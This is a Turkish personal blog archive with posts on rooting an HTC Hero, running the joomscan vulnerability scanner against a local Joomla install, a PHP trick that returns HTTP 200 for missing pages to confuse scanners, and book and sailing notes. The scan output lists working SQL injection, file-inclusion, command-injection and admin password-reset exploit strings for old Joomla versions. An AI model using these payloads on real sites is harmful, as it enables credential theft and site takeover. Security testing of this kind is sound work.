HTC Hero üzerinde root olmak, Android Market’i kullanabilir hale gelmek.

18 Nisan 2010

HTC’nin Android işletim sistemli telefonu Hero üzerine başka ROM’lar yüklemek için yapılacaklar konuusnda bayağı bir araştırma yapmam gerekti. Bir sürü forumda ve blog yazısında, uzun uzun prosedürler ve “şunu denedim olmadı”, “a ve b kombinasyonları başarısız oldu” gibi çok sayıda yazı okudum, sonunda, kendi telefonum üzerinde çalışan bir yol buldum, sizlerle de paylaşmak istedim. Ufak bir not: bu işlemler sırasında telefonunuzda problem oluşabilir, veri kaybedebilirsiniz, sorumlululuk tamamen sizde :)

Telefonum, KVK tarafından Türkiye’ye getirilmiş, bir teknoloji marketten almış olduğum HTC Hero A6262.
Bilgisayar gerektiren işlerde bir Windows XP kullandım. Bir kesintisiz güç kaynağı yada şarjı yeterli bir dizüstü bilgisayar ile bu işlemleri yapmanızı şiddetle tavsiye ediyorum (bkz. madde 7).

0. Herşeyden önce telefonda Settings – Applications – Development menüsü altından “USB debugging” özelliğini aktif hale getirdim.

1. http://developer.android.com/sdk/index.html adresinden indirdiğim Android SDK paketini C:\android-sdk altına açtım.

2. http://www.htc.com/www/support.aspx adresinden indirdiğim HTC Sync (HTC Sync upgrade for HTC Magic, Hero &Tattoo) uygulamasını kurdum.

3. HTC Sync kurulumunu tamamladıktan sonra telefonu USB kablosu ile bilgisayara bağladım. Windows “yeni donanım buldum” vs. dedi.

4. Sonrasında Android SDK ile cihazı doğru tanımlayıp tanımlamadığına baktım:

C:\android-sdk\tools>adb devices
List of devices attached
HTXXXXXXXXXX device

Buradaki XXXXXXXXXX kısmında cihazın seri numarası görülüyor.

5. Telefona taklılı olan SD kartı gold kart haline getirmek için aşağıdaki adımları izledim:

  • a. SD kartı telefona takıp, önce Settings – SD & Phone storage menüsünden “Unmount SD card” seçtim, sonra da aynı ekranda “Format SD card” seçerek kartı formatladım.
  • b.
    C:\android-sdk\tools>adb shell
    $ cat /sys/class/mmc_host/mmc1/mmc1:*/cid
    cat /sys/class/mmc_host/mmc1/mmc1:*/cid
    03534453553032478060966aa80099b0
    $

    Bu adımda elde ettiğim kodu dikkatlice bir kenara not ettim.

  • c. http://hexrev.soaa.me/ adresindeki form aracılığı ile bu kodun tersini aldım. Onu da kaydettim bir kenara. (009900a86a9660804732305553445303)
  • d. http://revskills.de/pages/goldcard.html adresindeki forma bir önceki adımda elde ettiğim ters çevrilmiş kod ve e-posta adresimi verdim, bana bir img dosyasını zip’li olarak gönderdi e-posta ile. Bu dosyayı alıp, zip’ini açtım.
  • e. Telefonu kapatıp, takılı olan SD kartı çıkarıp, bilgisayara bağlı bir kart okuyucuya taktım.
  • f. http://mh-nexus.de/en/hxd/ adresinden indirdiğim Hex Editor programını kurdum, ve çalıştırdım. Eğer başka bir Hex editor kullanıyorsanız onunla da aynı işlemi yapabilirsiniz. HxD editör’de yaptıklarım sırasıyla şöyle:
    - Extras – Open disk menüsünden SD kartı seçtim, “Open as ReadOnly” seçeneğini kaldırdım.



    - Extras – Open disk image menüsünden e-posta ile gelen imaj dosyasını seçtim. sektör boyutu olarak 512 [Hard disks/Floppy disks] seçtim.

    - goldcard imajının açık olduğu tab’da “Select All” ve “Copy” yaptım.
    - SD kartın açık olduğu tabda 00000000 – 00000170 arasını seçtim ve “Paste write” yaptım, kaydedip çıktım.
  • g. Kart üzerindeki operasyon başarılı olmuş mu diye, bir kontrol etmek gerekiyor, bunun için SD kartı okuyucudan söküp geri taktıktan sonra, My Computer altından karta girmek gerekiyor. Eğer kartın içini görüntüleyebiliyorsanız işlem tamam demektir. Eğer buna izin vermiyorsa Hex editorle yapılan işlemi tekrarlamak gerekiyor. Benim başıma ise şöyle birşey geldi: Ben karta imajı yazdıktan sonra, kartı okuyucudan çıkarıp geri taktım ancak kartı okumama izin vermedi, sonrasında kart okuyucuyu bilgisayara bağlayan USB kablosunu söküp taktım, ve kartı okumama izin verdiğini gördüm.
  • h. SD kartı telefona takıp, telefonu açtım. Android SDK ile de SD kartı gördüğümü teyid ettim:

    C:\android-sdk\tools>adb shell
    $ df
    df
    /dev: 98508K total, 0K used, 98508K available (block size 4096)
    /sqlite_stmt_journals: 4096K total, 0K used, 4096K available (block size 4096)
    /system: 174080K total, 146808K used, 27272K available (block size 4096)
    /data: 169728K total, 21032K used, 148696K available (block size 4096)
    /cache: 133120K total, 1156K used, 131964K available (block size 4096)
    /sdcard: 1930240K total, 80K used, 1930160K available (block size 16384)
    $

6. Telefon USB kablosu ile bilgisyara bağlı iken 2. adımda kurduğum HTC Sync uygulamasını çalıştırdım. HTC Sync’in de telefonu gördüğünden emin oldum.

7. Bu adım, belki de tüm süreç içinde en riskli adım. Çünkü, cihazın üzerindeki ROM’u eski bir sürüme çektim, ancak bu ROM’u bilgisayar üzerinden yazdığı için, sanırım bu işlem sırasında oluşacak bir elektrik kesintisi, telefonu açılmaz hale getirebilir. Bu konudan tam emin değilim; test edecek cesaretim de yok :) Dikkat etmekte fayda var.
Ben sağolsun Fatih Aytaç’ın yansıladığı http://fatihaytac.com.tr/dh/htc_hero/Official-ROMs/RUU_Hero_HTC_WWE_2.73.405.5_WWE_release_signed_NoDriver.exe‘yi kullandım. Bu dosyayı bilgisayarıma indirip, çift tıkladım. Aşağıda ekran görüntülerini verdiğim şekilde ilerledim.



İşlem tamamlanınca telefon kapanıp açıldı. Sonrasında Settings – About phone menüsünden ROM sürümünü kontrol ettim.
Bu noktada elimde, üzerinde Android Market çalışan, ama “root” edilmemiş bir cihaz var. Bu eski sürümün ne gibi dezavantajları var açıkçası araştırmadım. Bunu sadece ara bir adım olarak kullandım.
Neden daha düşük bir sürüme geçme işini yaptığımı merak edebiliriniz. Benim telefonumun içinde fabrika ayarları ile yüklü gelmiş olan 2.73.468.xx sürümü üzerinden root işlemi yapılırken sorun yaşandığına dair bazı yazılar okudum, o nedenle önce bu sürüm düşürme işlemini gerçekleştirdim.

8. İstediğim ROM’u yüklemek için biraz daha yolum var :) http://flashrec.googlecode.com/files/flashrec-1.1.2-20090909.apk uygulamasını indirip, telefonda SD karta kopyaladım, ve kurdum.

9. http://www.androidspin.com/files/amon_ra/RECOVERY/recovery-RA-hero-v1.6.2.img adresindeki imajı indirdim ve SD kartın köküne recovery-backup.img ismi ile kopyaladım.

10. Telefon üzerinde flashrec programını açıp “restore” çalıştırdım. İşlem tamamlanınca “Reboot in recovery mode” diye bir düğme çıktı ancak işe yaramıyordu, elimi korkak alıştırmayıp, güç düğmesinden telefonu kapattım. Telefonu home tuşuna basılı tutarak açtım. Karşıma yeşil bir “recovery” ekranı geldi.

11. Bir sorun olursa yada birazdan yükleyeceğim ROM’u beğenmezsem ve geri dönmek istersem diye “Nandroid backup” aldım. İşlem bitince “Backup complete!” yazısı çıktı.

12. Telefonu normal bir şekilde açarak (home tusuna basmadan), kurmak istediğim ROM’u .zip dosyası haliyle SD kartın köküne kopyaladım. Ben http://www.villainrom.co.uk/VillainROM5.1.zip adresindeki Villain ROM’un bu işlemi yaparkenki en güncel sürümünü indirdim. (Forumlardan takip ettim kadarıyla MoDaCo ROM’lar da oldukça popüler, seçim sizin.)

13. Telefonu kapatıp yine “recovery” modunda açtım (home tuşuna basılı tutarak). Yine forumlardaki önerileri takip ederek sırasıyla Wipe items – Wipe data/factory reset ve Wipe items – Wipe Dalvik-cache işlemlerini yaptım.

14. Recovery ekranında “Flash zip from sdcard” seçeneğini seçerek, SD karta kopyaladığım zip dosyasını gösterdim. “Install from sdcard complete” mesajını alınca, telefonu kapatıp normal modda açtım. Cihaz yeni ROM ile ilk açılırken 4-5 dakika kadar bekledim açılış animasyonunun geçmesi için. Açıkçası gecenin o saati için biraz ürkütücü bir durumdu. Ancak 4-5 dakika sonra cihaz normal açıldı.
15. Android SDK ile root olmuş muyum diye kontrol ettim:

C:\android-sdk\tools>adb shell
#
# id
id
uid=0(root) gid=0(root)
#

Artık Android market erişimi olan, “root” erişimi elde edilmiş bir cihaz var elimde :)

joomscan – Joomla! Güvenlik Tarayıcısı

29 Mart 2010

Joomla! içerik yönetim sisteminin güvenliğini test etmek için geliştirilmiş “joomscan” isimli güvenlik tarayıcısından bahsetmek istiyorum. Joomscan, kullanılan Joomla! sürümünü tespit edip zafiyet veritabanında bulunan bu sürüme yönelik zafiyetleri test ediyor/listeliyor. Kullanımı basit, raporlaması güzel. Güncel versiyon 0.0.3-a ve veritabanında 466 zafiyet tanımlı.


# ./joomscan.pl

..|''|| '|| '||' '|' | .|'''.| '||''|.
.|' || '|. '|. .' ||| ||.. ' || ||
|| || || || | | || ''|||. ||...|'
'|. || ||| ||| .''''|. . '|| ||
''|...|' | | .|. .||. |'....|' .||.

=================================================================
OWASP Joomla! Vulnerability Scanner v0.0.3-a
(c) Aung Khant, aungkhant@yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
=================================================================

Vulnerability Entries: 466
Last update: August 18, 2009

Kendi bilgisayarımda kurduğum Joomla! 1.5.4 için çalıştırdığımda:

# ./joomscan.pl -ot -u http://127.0.0.1/joomla

..|''|| '|| '||' '|' | .|'''.| '||''|.
.|' || '|. '|. .' ||| ||.. ' || ||
|| || || || | | || ''|||. ||...|'
'|. || ||| ||| .''''|. . '|| ||
''|...|' | | .|. .||. |'....|' .||.

=================================================================
OWASP Joomla! Vulnerability Scanner v0.0.3-a
(c) Aung Khant, aungkhant@yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
=================================================================

Vulnerability Entries: 466
Last update: August 18, 2009

Use "update" option to update the database
Use "check" option to check the scanner update
Use "download" option to download the scanner latest version package

Target: http://127.0.0.1/joomla
Server: Apache
X-Powered-By: PHP

## Checking if the target has deployed an Anti-Scanner measure

## WARNING ##

[!] The target responds with 200 for every 404 request
[!] Activating anti-200 Bypass ... Please wait.

[!] Damn, unable to bypass! The target emits random strings.
[!] I need your help.

[!] Enter strings in common or valid regular expression
when you see after requesting the two urls:
http://127.0.0.1/joomla/a_sdf and http://127.0.0.1/joomla/hj_kl
e.g Page Not Found, \d{10,15}

>> Aradiginiz sayfa bulunamadi
[!] OK. Your strings work. Thanks!

## Detecting Joomla! based Firewall ...

[!] No known firewall detected!

## Fingerprinting in progress ...

~Generic version family ....... [1.5.x]

~1.5.x htaccess.txt revealed [1.5.4 - 1.5.14]
~1.5.x configuration.php-dist revealed [1.5.1 - 1.5.8]
~1.5.x en-GB.xml revealed [1.5.2 - 1.5.6]
~1.5.x en-GB.ini revealed [1.5.4 - 1.5.7]
~1.5.x admin en-GB.com_config.ini revealed [1.5.4 - 1.5.6]
~1.5.x admin en-GB.ini revealed 1.5.4
~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6]

* The Exact version found is 1.5.4

## Fingerprinting done.

## 1 Components Found in front page ##

com_mailto

Vulnerabilities Discovered
==========================

# 1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed.
Vulnerable? Yes

# 2
Info -> Generic: Unprotected Administrator directory
Versions Affected: Any
Check: /administrator/
Exploit: The default /administrator directory is detected. Attackers can bruteforce administrator accounts. Read: http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS%20TO%20PROTECT.pdf
Vulnerable? Yes

# 3
Info -> Core: Multiple XSS/CSRF Vulnerability
Versions Affected: 1.5.9 <=
Check: /?1.5.9-x
Exploit: A series of XSS and CSRF faults exist in the administrator application. Affected administrator components include com_admin, com_media, com_search. Both com_admin and com_search contain XSS vulnerabilities, and com_media contains 2 CSRF vulnerabilities.
Vulnerable? Yes

# 4
Info -> Core: JSession SSL Session Disclosure Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /?1.5.8-x
Exploit: When running a site under SSL (the entire site is forced to be under ssl), Joomla! does not set the SSL flag on the cookie. This can allow someone monitoring the network to find the cookie related to the session.
Vulnerable? Yes

# 5
Info -> Core: Frontend XSS Vulnerability
Versions effected: 1.5.10 <=
Check: /?1.5.10-x
Exploit: Some values were output from the database without being properly escaped. Most strings in question were sourced from the administrator panel. Malicious normal admin can leverage it to gain access to super admin.
Vulnerable? Yes

# 6
Info -> Core: Missing JEXEC Check - Path Disclosure Vulnerability
Versions effected: 1.5.11 <=
Check: /libraries/phpxmlrpc/xmlrpcs.php
Exploit: /libraries/phpxmlrpc/xmlrpcs.php
Vulnerable? No

# 7
Info -> Core: Missing JEXEC Check - Path Disclosure Vulnerability
Versions effected: 1.5.12 <=
Check: /libraries/joomla/utilities/compat/php50x.php
Exploit: /libraries/joomla/utilities/compat/php50x.php
Vulnerable? No

# 8
Info -> Core: Frontend XSS - HTTP_REFERER not properly filtered Vulnerability
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-http_ref
Exploit: An attacker can inject JavaScript or DHTML code that will be executed in the context of targeted user browser, allowing the attacker to steal cookies. HTTP_REFERER variable is not properly parsed.
Vulnerable? Yes

# 9
Info -> Core: Frontend XSS - PHP_SELF not properly filtered Vulnerability
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-php-s3lf
Exploit: An attacker can inject JavaScript code in a URL that will be executed in the context of targeted user browser.
Vulnerable? Yes

# 10
Info -> Core: Authentication Bypass Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /administrator/
Exploit: Backend accepts any password for custom Super Administrator when LDAP enabled
Vulnerable? No

# 11
Info -> Core: Path Disclosure Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-path-disclose
Exploit: Crafted URL can disclose absolute path
Vulnerable? No

# 12
Info -> Core: User redirected Spamming Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-spam
Exploit: User redirect spam
Vulnerable? No

# 13
Info -> Core: joomla.php Remote File Inclusion Vulnerability
Versions effected: 1.0.0
Check: /includes/joomla.php
Exploit: /includes/joomla.php?includepath=
Vulnerable? No

# 14
Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability
Versions effected: 1.0.13 <=
Check: /administrator/
Exploit: It requires an administrator to be logged in and to be tricked into a specially crafted webpage.
Vulnerable? Yes

# 15
Info -> Core: Path Disclosure Vulnerability
Versions effected: Joomla! 1.5.12 <=
Check: /libraries/joomla/utilities/compat/php50x.php
Exploit: /libraries/joomla/utilities/compat/php50x.php
Vulnerable? No

# 16
Info -> CorePlugin: Xstandard Editor X_CMS_LIBRARY_PATH Local Directory Traversal Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /plugins/editors/xstandard/attachmentlibrary.php
Exploit: Submit new header X_CMS_LIBRARY_PATH with value ../ to /plugins/editors/xstandard/attachmentlibrary.php
Vulnerable? Yes

# 17
Info -> CoreTemplate: ja_purity XSS Vulnerability
Versions effected: 1.5.10 <=
Check: /templates/ja_purity/
Exploit: A XSS vulnerability exists in the JA_Purity template which ships with Joomla! 1.5.
Vulnerable? Yes

# 18
Info -> CoreLibrary: phpmailer Remote Code Execution Vulnerability
Versions effected: Joomla! 1.5.0 Beta/Stable
Check: /libraries/phpmailer/phpmailer.php
Exploit: N/A
Vulnerable? No

# 19
Info -> CoreComponent: Joomla Remote Admin Password Change Vulnerability
Versions Affected: 1.5.5 <=
Check: /components/com_user/controller.php
Exploit: 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm 2. Write into field "token" char ' and Click OK. 3. Write new password for admin 4. Go to url : target.com/administrator/ 5. Login admin with new password
Vulnerable? Yes

# 20
Info -> CoreComponent: com_content SQL Injection Vulnerability
Version Affected: Joomla! 1.0.0 <=
Check: /components/com_content/
Exploit: /index.php?option=com_content&task=blogcategory&id=60&Itemid=99999+UNION+SELECT+1,concat(0x1e,username,0x3a,password,0x1e,0x3a,usertype,0x1e),3,4,5+FROM+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--
Vulnerable? No

# 21
Info -> CoreComponent: com_search Remote Code Execution Vulnerability
Version Affected: Joomla! 1.5.0 beta 2 <=
Check: /components/com_search/
Exploit: /index.php?option=com_search&Itemid=1&searchword=%22%3Becho%20md5(911)%3B
Vulnerable? No

# 22
Info -> CoreComponent: com_admin File Inclusion Vulnerability
Versions Affected: N/A
Check: /administrator/components/com_admin/admin.admin.html.php
Exploit: /administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=
Vulnerable? No

# 23
Info -> CoreComponent: MailTo SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_mailto/
Exploit: /index.php?option=com_mailto&tmpl=mailto&article=550513+and+1=2+union+select+concat(username,char(58),password)+from+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--&Itemid=1
Vulnerable? No

# 24
Info -> CoreComponent: com_content Blind SQL Injection Vulnerability
Versions effected: Joomla! 1.5.0 RC3
Check: /components/com_content/
Exploit: /index.php?option=com_content&view=%' +'a'='a&id=25&Itemid=28
Vulnerable? No

# 25
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_content/
Exploit: The defaults on com_content article submission allow entry of dangerous HTML tags (script, etc). This only affects users with access level Author or higher, and only if you have not set filtering options in com_content configuration.
Vulnerable? Yes

# 26
Info -> CoreComponent: com_weblinks XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_weblinks/
Exploit: [Requires valid user account] com_weblinks allows raw HTML into the title and description tags for weblink submissions (from both the administrator and site submission forms).
Vulnerable? Yes

# 27
Info -> CoreComponent: com_mailto Email Spam Vulnerability
Version Affected: Joomla! 1.5.6 <=
Check: /components/com_mailto/
Exploit: The mailto component does not verify validity of the URL prior to sending.
Vulnerable? Yes
# 28
Info -> CoreComponent: com_content view=archive SQL Injection Vulnerability
Versions effected: Joomla! 1.5.0 Beta1/Beta2/RC1
Check: /components/com_content/
Exploit: Unfiltered POST vars - filter, month, year to /index.php?option=com_content&view=archive
Vulnerable? No

# 29
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.9 <=
Check: /components/com_content/
Exploit: A XSS vulnerability exists in the category view of com_content.
Vulnerable? Yes

# 30
Info -> CoreComponent: com_installer CSRF Vulnerability
Versions effected: Joomla! 1.5.0 Beta
Check: /administrator/components/com_installer/
Exploit: N/A
Vulnerable? No

# 31
Info -> CoreComponent: com_search Memory Comsumption DoS Vulnerability
Versions effected: Joomla! 1.5.0 Beta
Check: /components/com_search/
Exploit: N/A
Vulnerable? No

# 32
Info -> CoreComponent: com_poll (mosmsg) Memory Consumption DOS Vulnerability
Versions effected: 1.0.7 <=
Check: /components/com_poll/
Exploit: Send request /index.php?option=com_poll&task=results&id=14&mosmsg=DOS@HERE<<>AAA<><>
Vulnerable? Yes
# 33
Info -> CoreComponent: com_banners Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_banners/
Exploit: /index.php?option=com_banners&task=archivesection&id=0'+and+'1'='1::/index.php?option=com_banners&task=archivesection&id=0'+and+'1'='2
Vulnerable? No

# 34
Info -> CoreComponent: com_mailto timeout Vulnerability
Versions effected: 1.5.13 <=
Check: /components/com_mailto/
Exploit: [Requires a valid user account] In com_mailto, it was possible to bypass timeout protection against sending automated emails.
Vulnerable? Yes

# 35
Info -> Component: Dada Mail Manager Component Remote File Inclusion Vulnerability
Version Affected: 2.6 <=
Check: /administrator/components/
Exploit: /administrator/components/com_dadamail/config.dadamail.php?GLOBALS[mosConfig_absolute_path]=
Vulnerable? No

There are 17 vulnerable points in 35 found entries!

~Done saving result as report/127.0.0.1_joomla-joexploit.htm

~[*] Time Taken: 48 sec
~[*] Send bugs, suggestions, contributions to joomscan@yehg.net

Kullanışlı bir araç...

La Fontaine’den Masallar

05 Ocak 2010

La Fontaine’den Masallar – Nazım Hikmet

2009′da en çok zevk alarak okuduğum kitaplardan biri. Hani, ne La Fontaine ile ilgili ne de Nazım Hikmet ile ilgili cümle kurmak haddime :) . Hala ara ara dönüp, rastgele bir sayfa açıp okuyorum.
Çok güzel, çok çok güzel…

CISSP hazırlık Kitapları

05 Ocak 2010

CISSP Certified Information Systems Security Professional Study Guide – Michael Stewart, Ed Tittel, Mike Chapple
All in One CISSP Exam Guide – Shon Harris

2009′ un elimden düşmeyen, tuğla kalınlığındaki kitapları :) Çok zevkle okuduğumu iddia etmiyorum, ancak sanırım bu kitaplar olmasaydı, sınavda başarılı olma şansım oldukça düşük olurdu. CISSP sertifika sınavına hazırlanacaklara tavsiye ederim.

Liderin Takım Çantası

05 Ocak 2010

Liderin Takım Çantası – Cem Kozlu

Cem Kozlu’yu THY’nin eski yönetim kurulu başkanı olarak bilirdim ve bir gün yurtdışı seyahate çıkarken, Esenboğa havalimanındaki kitapçıda, “Bulutların Üstüne Tırmanırken THY, Bir Dönüşüm Öyküsü” isimli kitabına denk gelmiştim ve bir solukta okumuştum. THY’yi havayolları arasında 1. Lig’e çıkarırken yaşadıkları, problemlere yaklaşımı beni çok etkilemişti. Lider’in Takım Çantası’nı da diğer kitabın devamı gibi okumaya çalıştım. Tabii Liderin Takım Çantası sadece THY deneyimini değil Cem Kozlu’ nun tüm iş hayatında edindiği tecrübeleri kapsıyor.

Uzay Anıları

05 Ocak 2010

Uzay Anıları – Enki Bilal

Enki Bilal’e bir kez kaptırınca insan soluksuz okumaya başlıyor. Uzay Anıları 1974-1977 arasındaki kısa öykülerden oluşuyor. Kitapta aşağıdaki öyküler var:

- Bir Sömürge Trajedisi
- Kutsal Bağlantılar
- Son Müzakere
- Dönüşü Olmayan Gezegen
- Orlaon’un Ölümü
- Arıza
- Bir Sömürge Trajedisi
- ‘Plitch’

Canavar Üçlemesi

05 Ocak 2010

Canavarın Uykusu, 32 Aralık, Paris’te Randevu – Enki Bilal

Saraybosna’da tavanı havantopu ile delinmiş bir hastanede yanyana yatan 3 bebek: Nike, Amir ve Leyla Mirkovic… Hafıza etrafında dönen bi gelecek kurgusu.
Enki Bilan’in özgün çizimleri ve anlattığı hikayeler, insanı hayal dünyasında ordan oraya savurup duruyor.

Macbeth

05 Ocak 2010

Macbeth – William Shakespeare

Macbeth’in İskoçya kralı Duncan’ı öldürerek tahta geçmesi ve sonrasında yaşananları anlatan Shakespeare’in ünlü tragedyasını, NTV yayınları Çizgi Roman Dünya Klasikleri serisinin ilk kitabı olarak basmış.

Ağlama Palyaço Makyajın Bozulur

30 Aralık 2009

Ağlama Palyaço Makyajın Bozulur – Müjdat Gezen, Halit Kıvanç

İş Bankası Kültür Yayınları’nın nehir söyleşi serisinden çıkan Müjdat Gezen’in hayatından kesitler okuyabildiğimiz güzel bir kitap. Söyleşiyi yapan da Halit Kıvanç olunca, “yeme de yanında yat” bir kitap çıkmış ortaya.

Heidegger’in Gölgesi

30 Aralık 2009

Heidegger’in Gölgesi – Jose Pablo Feinmann

20 yy. felsefesinin en önemli isimlerinden olan ve Nazizm’e destek verdiği için suçlanan Martin Heidegger’i odağına alan felsefi bir roman. Bir solukta okudum.
Bakalım birgün Varlık ve Zaman‘ı okumayı başarabilecek miyim.

Dolu Dolu Yaşadım

30 Aralık 2009

Dolu Dolu Yaşadım – Isaac Asimov

Alınan kanların henüz HIV virüsü içerip içermediğinin test edilmediği seksenli yıllarda geçirdiği kalp ameliyatı sırasında verilen kan nedeniyle yakalandığı AIDS hastalığı nedeniyle kaybettiğimiz büyük usta Asimov’un özyaşam öyküsü.

Türbülans Çağı (Yeni Bir Dünya Serüveni)

30 Aralık 2009

En son mayıs ayında not almışım okuduğıum bir kitabı. Sanmayın ki boş oturdum bunca zamandır. Okuduklarımı not düşmeye başlayayım yıl bitmeden; kalan olursa da devam ederim daha sonra:

Türbülans Çağı (Yeni Bir Dünya Serüveni) – Alan Greenspan

Amerikada 20 yıl FED başkanlığı yapan Alan Greenspan’in  hayat öyküsü doğal olarak, Amerika ve dünya ekonomisinin dönem tarihine de bir bakış sağlıyor. Ekonomik krizleri yaratıcı yıkım olarak gören Greenspan’in olayların dinamiklerini açıkladığı kısımlar, benim gibi ekonomiden pek de anlamayan biri için oldukça bilgilendiriciydi.  Ayrıca kitabın hatırı sayılırı bir kısmı , Greenspan’in gelecek ile ilgili kapsamlı tahminlerini içeriyor.

Kitabı öneren Servet Güney’e teşekkürü borç bilirim.

I like AYK-BAYK very much :)

28 Aralık 2009

Herşey kurban bayramı öncesinde, tatil fırsatı bulmuşken kendimizi nasıl yoracağımıza dair kafa patlatırken, Fethiye’de Veli Kaptan’ın teknesi ile yelken yapma fikri ile başladı. Ekipcek uzun bir yolculuktan sonra Fethiye’ye varıp, Ece Marina’ya girdiğimizde galiba hepimiz heyecanlıydık; ben çok heyecanlıydım. İlk kez yelken ile tanışacaktım. Kahvaltı sonrasında teknemiz White Caps’in sahibi Veli Kaptan, arkadaşı Göksel Kaptan ve bizimle birlikte açılacak olan, tayfası olacağımız Selçuk Kaptan ile tanıştık.

Aslında herşey o zaman başladı.Bir kaptan, bir öğretmen ve bir dost ile tanışmış olduk. 4 gün boyunca, Göcek koylarında Sarsala’yı aradık durduk. :)   Tabii bu arada bolca alıştırma yaptık. Selçuk Kaptan, bıkmadan usanmadan, bize birşeyler anlattı durdu. denizin ortasına usturmaça atıp, defalarca yanaşma alıştırması yaptık, gece konakladığımız iskelelere yanaştık, sabah iskelelerden kendimiz ayrıldık. Kısacası, 4 günde olabildiğince birşeyler öğrendik, bolca cesaretlendik kaptanımız sayesinde. Ne yalan söyleyeyim sonunda ayrılmak hepimize koydu biraz.

Sonra, Selcuk kaptandan aldığımız cesaretle de, 12-13 Aralık’ta Bodrum’da yapılan AYK-BAYK (Ankara Yelken Kulübü – Bodrum Açıkdeniz Yelken Kulubü) yelken yarışlarına katıldık. Burda da şansımıza uyumlu bir ekip ve harika skipperlarımız Deniz Esen ve Tolga Kartaloğlu  ile ilk gün coğrafi rotada, ikinci gün de koy içi şamandıra yarışında yarıştık.

Yine öğrendik, çalıştık, paylaştık. İlk gün coğrafi rota yarışında son dakikalarda Tolga ve Deniz kaptanların yaptıkları yelken ayarları ile yarışı son saniyelerde bitirdik, ikinci gün şamadıra yarışı çok daha heyecanlı geçtü ve IRC chater sınıfında 3. olduk :)  Bana da başlıktaki cümleyi kurmak düştü.

Yukarıda, yarıştaki teknemiz “İkinci”‘nin artistik bir pozu var. İskele tarafında denize düşmemek için çırpınan soluk mavi montlu kişi benim.

Aşağıdaki fotoğraf ise elimdekiler içinde ekibimizden en çok kişinin olduğu fotoğraf. Fotoğrafı çeken Coşkun ve Muazzez Hanım yoklar ne yazık ki. Ortadaki bordo kazaklı yakışıklı insan bana bu dünyanın kapısını açan Selçuk Kaptan. O’nun sağında ve solunda ise bu işi daha da sevdiren Deniz ve Tolga kaptanlar.

Apache web sunucusunda PHP kullanarak kişiselleştirilmiş hata sayfası oluşturma

29 Ağustos 2009

Başlık uzun, yöntem kısa…

Hepimiz biliyoruz, web sunucudan olmayan bir sayfa istendiğinde “genelde” “HTTP 404″ kodlu sayfa bulunamadı hatası alıyoruz. Biz kendi web sunucumuzda ufak bir PHP betiği yardımıyla, olmayan sayfa istendiğinde web sunucumuzun istemcilere “HTTP 200″ kodu kişiselleştirilmiş hata sayfaları (Custom error page) göndermesini sağlayabiliriz.

Bunun için önce Apache web sunucumuzun httpd.conf yapılandırma dosyasına aşağıdaki gibi bir satır ekleyerek, “HTTP 404″ kodlu hata durumlarında bizim php betiğimizi çağırmasını sağlıyoruz:

# Ozellestirilmis Hata Sayfasi
ErrorDocument 404 /error-404.php

Şimdi de basit PHP betiğimizi DocumentRoot altında error-404.php olarak kaydedelim:

<?php
header("HTTP/1.1 200 OK");
echo $_SERVER['REQUEST_URI']. " Aradiginiz sayfa bulunamadi.";
?>

Bu küçük PHP betiği sayesinde web sunucu üzerinde olmayan bir URI istendiğinde de HTTP 200 kodlu bir sayfa döndürmüş olursunuz. Bu sayede nikto vb. tarama araçlarını yanıltmak da mümkün olacaktır.

Yapılan bir HTTP isteği ve yanıtı şöyle olacaktır:

$ telnet web_sunucu 80
Trying web_sunucu…
Connected to web_sunucu.
Escape character is ‘^]’.
GET /olmayan_sayfa HTTP/1.1
HOST: a

HTTP/1.1 200 OK
Date: Sat, 29 Aug 2009 14:12:45 GMT
Server: Apache
X-Powered-By: PHP
Vary: Accept-Encoding
Content-Length: 43
Content-Type: text/html

/olmayan_sayfa Aradiginiz sayfa bulunamadi.

100 Köprü

19 Mayıs 2009

Türkiye’nin Kültür Mirası 100 Köprü – Faruk Pekin, Hayri Fehmi Yılmaz

http://kitap.ntvmsnbc.com/#100Kopru

NTV’nin yayınladığı kitap, kimi şehrin ortasında, otoyollar arasında atıl kalmış, kimi yüzyıllardır ayakta olan, kimi adına şenlik düzenlenen, türkü yakılmış olan 100 köprümüzün mimari özelliklerini, hikayelerini anlatıyor. Kitabı olurken, Hakkari – Nehri Köprüsü gibi tek gözlü köprülerin de, Adana Alman Köprüsü gibi üzerinden demiryolu geçen dev köprülerin de fotoğraflarına dalıp gidiyor insan.

* Alman Köprüsü’nün fotoğrafı, Yusuf Metin tarafından çekilmiş ve www.fotokritik.com web sitesinde yayınlamıştır.

Bir Şapka, Bir Tabanca

19 Mayıs 2009

Bir Şapka, Bir Tabanca – Celil Oker

Celil Oker’in kendini “Remzi Ünal… Şu Hava Kuvvetleri’nden müstafi, THY’den kovulma, kendisine saygısı olan hiçbir ‘freequent flyer’ın adını bile duymadığı sekizinci sınıf ‘charter’ şirketlerinde bile tutunamayan, şu sıralar sayenizde MS Flight Simulator’ın Cessna’sını her çakışında inatla bir daha yükselen eski pilot, ex-kaptan, nevzuhur özel dedektif Remzi Ünal.” diye tanıtan karakterinin bir macerası daha. Bu sefer kahramanımız, babasının ölümünden sonra evde bir şapkanın altına gizlenmiş bir silah bulan reklamcı Noyan Bey’e yardım etmek için işe koyuluyor.

Bab-ı Esrar

